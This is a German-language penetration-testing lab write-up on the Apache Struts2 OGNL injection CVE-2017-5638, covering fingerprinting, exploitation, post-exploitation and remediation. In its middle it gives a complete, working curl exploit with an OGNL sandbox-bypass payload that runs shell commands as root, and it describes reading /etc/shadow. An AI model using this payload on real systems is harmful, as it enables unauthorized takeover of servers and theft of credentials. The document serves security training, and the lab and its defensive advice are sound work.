
Praktisches Labor, das die Apache Struts2 OGNL-Injection (CVE-2017-5638) mit schrittweiser Systemanalyse, Ausnutzung, Sandbox-Umgehung und Post-Exploitation-Techniken für die Ausbildung im Penetrationstest demonstriert.

Nach dem Starten des Containers zeigen die Struts2-Protokolle, dass die Anwendung bekannte Konfigurationsdateien wie struts-default.xml, struts-plugin.xml und struts.xml lädt. Dies bestätigt, dass das verwendete Framework Apache Struts2 ist.

Ein bemerkenswerter Punkt liegt in der Zeile:
Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)
Diese Zeile zeigt an, dass Struts2 den Jakarta-Multipart-Parser (MultiPart-Request-Datenanalysator) auswählt, um Anfragen vom Typ multipart/form-data zu verarbeiten, die häufig bei Datei-Upload-Funktionen vorkommen.
Dies ist ein entscheidendes Signal bei der Analyse von S2-045 / CVE-2017-5638, da diese Sicherheitslücke mit dem Prozess zusammenhängt, bei dem Struts2 Fehler bei der Verarbeitung von Multipart-Anfragen behandelt, insbesondere bei einem ungültigen Content-Type-Header.
Dieses Protokoll beweist jedoch nur, dass die Anwendung Struts2 und einen Jakarta-Multipart-Handler verwendet. Es ist noch nicht ausreichend, um zu schlussfolgern, dass die Anwendung definitiv verwundbar ist. Zur Bestätigung müssen wir die Version von struts2-core ermitteln und mit dem betroffenen Versionsbereich vergleichen.



Beim Zugriff auf den Webdienst mit curl zeigen die Antwortheader, dass die Anwendung auf Jetty 9.2.11.v20150529 läuft. Diese Information hilft, die Umgebung zu identifizieren, in der die Anwendung läuft (Servlet-Container), gibt aber nicht direkt die Version von Struts2 preis.
Die Weboberfläche gibt die Seite Struts2 Showcase – Fileupload sample zurück, mit einem Upload-Formular, das Folgendes verwendet:
method="POST" enctype="multipart/form-data" action="/upload.action"
Dies stimmt mit dem vorherigen Protokoll überein, in dem Struts2 jakarta für MultiPartRequest ausgewählt hat: Die Anwendung hat tatsächlich einen Datei-Upload-Ablauf über multipart/form-data.
⇒ Überlegung: Der Endpunkt /upload.action verwendet multipart/form-data, was dem Mechanismus entspricht, den Struts2 über Jakarta MultiPartRequest verarbeitet. Dies ist ein Zeichen, das den Verdacht auf S2-045/CVE-2017-5638 erhärtet, aber wir müssen die Struts2-Version ermitteln, bevor wir zu dem Schluss kommen, dass die Anwendung verwundbar ist. Als Nächstes ist eine tiefergehende Überprüfung der Version von struts2-core und der Art und Weise, wie die Anwendung Fehler beim Empfang eines ungültigen Content-Type behandelt, erforderlich.
Nachdem identifiziert wurde, dass die Anwendung einen Upload-Endpunkt mit multipart/form-data besitzt, besteht der nächste Analyseschritt darin, die tatsächliche Version von Struts2 zu finden. Dies ist entscheidend, da vorherige Anzeichen nur zeigten, dass die Anwendung einen Mechanismus im Zusammenhang mit Multipart-Upload besitzt, was noch nicht ausreicht, um zu schlussfolgern, dass sie verwundbar ist.

Nach Identifizierung des korrekten Containers, der Endpoint 8001 bedient, erfolgt die Überprüfung der Bibliotheken direkt im Container project1-lab01-01.
Das Ergebnis findet die Datei struts2-core:
/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar
Aus diesem Pfad können wir ersehen, dass die Anwendung Apache Struts2 2.3.30 verwendet.

Ein Vergleich mit der veröffentlichten Sicherheitslücke CVE-2017-5638 / S2-045 zeigt, dass diese viele ältere Struts2-Versionen betrifft, einschließlich des 2.3.x-Zweigs vor dem Patch. In Kombination mit:
Framework: Apache Struts2 Version: 2.3.30 Multipart-Parser: Jakarta Endpunkt: /upload.action Content-Type: multipart/form-data
wird die Analyse-Bedingungskette klarer:
`Struts2 Version 2.3.30 < Version 2.3.32
Aus analytischer Sicht ist eine verwundbare Version jedoch nur ein Beweis für das Potenzial, betroffen zu sein. Zur Bestätigung auf Verhaltensebene müssen wir eine anomale Multipart-Anfrage senden und die Antwort/Protokolle beobachten, um zu sehen, ob sie in den Fehlerbehandlungszweig des Struts2-Multipart-Parsers gelangt.
⇒ Überlegung: An diesem Punkt geht es nicht mehr nur um die Identifizierung des Frameworks; Version 2.3.30 bestätigt, dass die Anwendung im betroffenen Versionsbereich von S2-045/CVE-2017-5638 liegt. Der verbleibende Schritt ist die Überprüfung des Multipart-Fehlerbehandlungsverhaltens, um die Beweiskette zu vervollständigen.

Wir müssen prüfen, ob an /upload.action gesendete Anfragen wirklich durch den Struts2-Multipart-Verarbeitungsmechanismus laufen. Hier verwende ich den curl-Befehl mit der Option -F, um den Verarbeitungsmechanismus zu testen. Das zurückgegebene Ergebnis wird in Teile zerlegt:
`
⇒ Eine gültige Anfrage beweist, dass /upload.action tatsächlich den Multipart-Upload-Mechanismus durchläuft, da curl -F multipart/form-data erzeugt und der Server jeden Teil der Anfrage parsen kann.


Nach dem Senden einer Anfrage, die Content-Type als multipart/form-data deklariert, aber mit einem Body, der nicht der Multipart-Struktur entspricht, gibt der Server dennoch HTTP 200 OK zurück. Allerdings sind die Felder ContentType, FileName, File und Caption alle leer. Bei der Überprüfung der Docker-Protokolle fällt auf, dass es kein Boundary (Trennzeichen zwischen Teilen in Multipart) gibt, und der Client erhält dennoch HTTP 200 OK. Struts2 ist jedoch tatsächlich auf einen Fehler gestoßen während der Verarbeitung der Anfrage.
Dies beweist die Beweiskette:
Fehlerhafte Multipart-Anfrage → Struts2 umschließt die Anfrage → MultiPartRequestWrapper wird aufgerufen → JakartaMultiPartRequest parst die Anfrage → FileUploadException aufgrund fehlenden Boundary
⇒ Passt zu den Komponenten, die für S2-045/CVE-2017-5638 relevant sind. Somit ist die Bedingungskette vollständiger: verwundbare Version, Jakarta-Parser, Upload-Endpunkt und die fehlerhafte Anfrage gelangt in den korrekten Multipart-Verarbeitungszweig.
Der entscheidende Punkt von S2-045/CVE-2017-5638 liegt nicht nur im Versagen des Multipart-Parsers. Der Parser-Fehler ist nur die anfängliche Auslösebedingung. Der gefährliche Teil liegt darin, wie Struts2 anschließend die Fehlermeldung behandelt. Bei betroffenen Struts2-Versionen, wenn der Multipart-Parser auf einen Fehler stößt, kann der Fehlerinhalt in den Nachrichtenverarbeitungsmechanismus von Struts2 eingespeist werden. Wenn ein Angreifer einen Teil der Daten kontrolliert, die im Fehler erscheinen, insbesondere aus dem Content-Type-Header, können diese Daten von Struts2 über OGNL (Object-Graph Navigation Language – die Ausdruckssprache von Struts/XWork) ausgewertet werden.
Überlegung:
Anomaler Content-Type → Jakarta-Multipart-Parser-Parsing-Fehler → Struts2 erzeugt/protokolliert Fehlermeldung → Fehlermeldung durchläuft Ausdrucksauswertungsmechanismus → falls bösartiges OGNL vorhanden, kann dies zu RCE führen
Nach der Identifizierung, dass das Ziel Struts2 verwendet und Struts2 OGNL als Ausdrucksengine einsetzt, zeigt die Suche bei PayloadsAllTheThings, dass das Injizieren von new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) in Struts2 fehlschlagen wird, da Struts2 eine Sandbox hat, die den Zugriff auf java.lang.Runtime blockiert.

⇒ Zusammenstellen des gefundenen Payloads in die Struts2-Ausnutzungsstruktur:
Jakarta-Parser auslösen
(#_="multipart/form-data")
Struts2-Sandbox umgehen (erforderlich)
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
Befehlsausführungs-Payload
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
Bei der praktischen Ausführung des Payloads treten jedoch zwei Probleme auf:
readAllBytes()-Funktion erst ab Java 9 unterstützt wird. Wenn wir darauf bestehen, sie zu verwenden, wird OGNL stillschweigend fehlschlagen und eine leere HTML-Seite zurückgeben. Dies wird gelöst, indem die Klasse IOUtils aus der Bibliothek org.apache.commons.io (bei Struts2 immer verfügbar) verwendet wird, um den Stream zu lesen.HttpServletResponse zugegriffen wird, mit getWriter().println() die Ausgabe zuerst ausgegeben wird und dann flush() und close() aufgerufen werden, um die Verbindung sofort zu beenden. Dies zwingt den Server, das saubere Befehlsausführungsergebnis zurückzugeben und dabei die gesamte überflüssige HTML-Oberfläche zu umgehen.⇒ Durch Zusammenstellen der obigen Änderungen erhalten wir den vollständigen curl-Befehl (unter Verwendung von ProcessBuilder + IOUtils + Response Writer):
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

Exploitation erfolgreich!!!
Obwohl wir RCE mit Root-Rechten erreicht haben, muss jeder Befehl über eine separate HTTP-Anfrage gesendet werden, was eine nicht-interaktive Umgebung darstellt. Ein Reverse Shell ermöglicht die Einrichtung einer persistenten Sitzung, mit der direkt mit dem Zielsystem interagiert werden kann, als ob man vor der Maschine säße, um Informationen zu sammeln und eine tiefergehende Post-Exploitation durchzuführen.
Berechtigungsüberprüfung
Nach erfolgreicher Ausnutzung die Berechtigungen auf dem System überprüfen:
uid=0(root) gid=0(root) groups=0(root)
→ Die Anwendung wird mit Root-Rechten ausgeführt – keine Rechteausweitung erforderlich.
Sammeln sensibler Daten
Lesen der Datei /etc/shadow (die Datei, die Passwort-Hashes enthält, auf die nur Root Zugriff hat):

→ Beweist, dass der Angreifer vollständigen Lese-/Schreibzugriff auf die Systemdateien hat, einschließlich der sensibelsten.
Anmerkung zum Reverse Shell
Der Aufbau des Reverse Shells war nicht erfolgreich, da der Docker-Container unter Windows ein internes Netzwerk (Bridge/NAT) verwendet; der Container kann keine Verbindung zurück zum Angreifer-Rechner (Kali) im lokalen LAN herstellen. Dies ändert jedoch nichts an der Schwere der Sicherheitslücke – der Angreifer hat RCE mit Root-Rechten erzielt und kann jeden Befehl auf dem System ausführen.
Die OGNL-Injection-Sicherheitslücke (CVE-2017-5638 / S2-045) auf diesem System wird auf dem höchsten Risikoniveau bewertet:
Zur vollständigen Behebung dieser Sicherheitslücke sollten das Systemadministrationsteam und das Entwicklungsteam die folgenden Maßnahmen umsetzen (geordnet nach Priorität):
Dringende Prioritäten (kurzfristig):
JakartaMultiPartRequest-Bibliothek liegt.root-Benutzer aus. Es sollte ein dedizierter Benutzer (z. B. struts_user) mit den minimal erforderlichen Berechtigungen erstellt werden, um die Anwendung auszuführen.Hohe Prioritäten (langfristig & verteidigungstief):
%{...}, ${...}, ognl, java.lang.ProcessBuilder) im Content-Type-Header enthalten.Pell oder COS in der Konfigurationsdatei struts.xml (struts.multipart.parser=cos).| Kriterium | Bewertung | Details |
|---|
| CVSS-Score | 10.0 (Kritisch) | Maximaler absoluter Score. |
| Authentifizierung | Nicht erforderlich | Der Angreifer benötigt kein Konto oder muss eingeloggt sein, um dies auszunutzen. |
| Komplexität | Sehr gering | Es ist lediglich das Senden einer einzigen HTTP-Anfrage (POST) mit dem Payload im Content-Type-Header erforderlich. |
| Erlangte Berechtigungen | root | Vollständige Kontrolle über die Anwendung/den Container auf höchster Berechtigungsstufe, mit der Fähigkeit, jede Datei zu lesen/schreiben (z. B. /etc/shadow). |
| Lateral Movement | Hoch | Vom kompromittierten Container aus kann der Angreifer das interne Netzwerk (LAN) scannen und andere Container oder Host-Server angreifen. |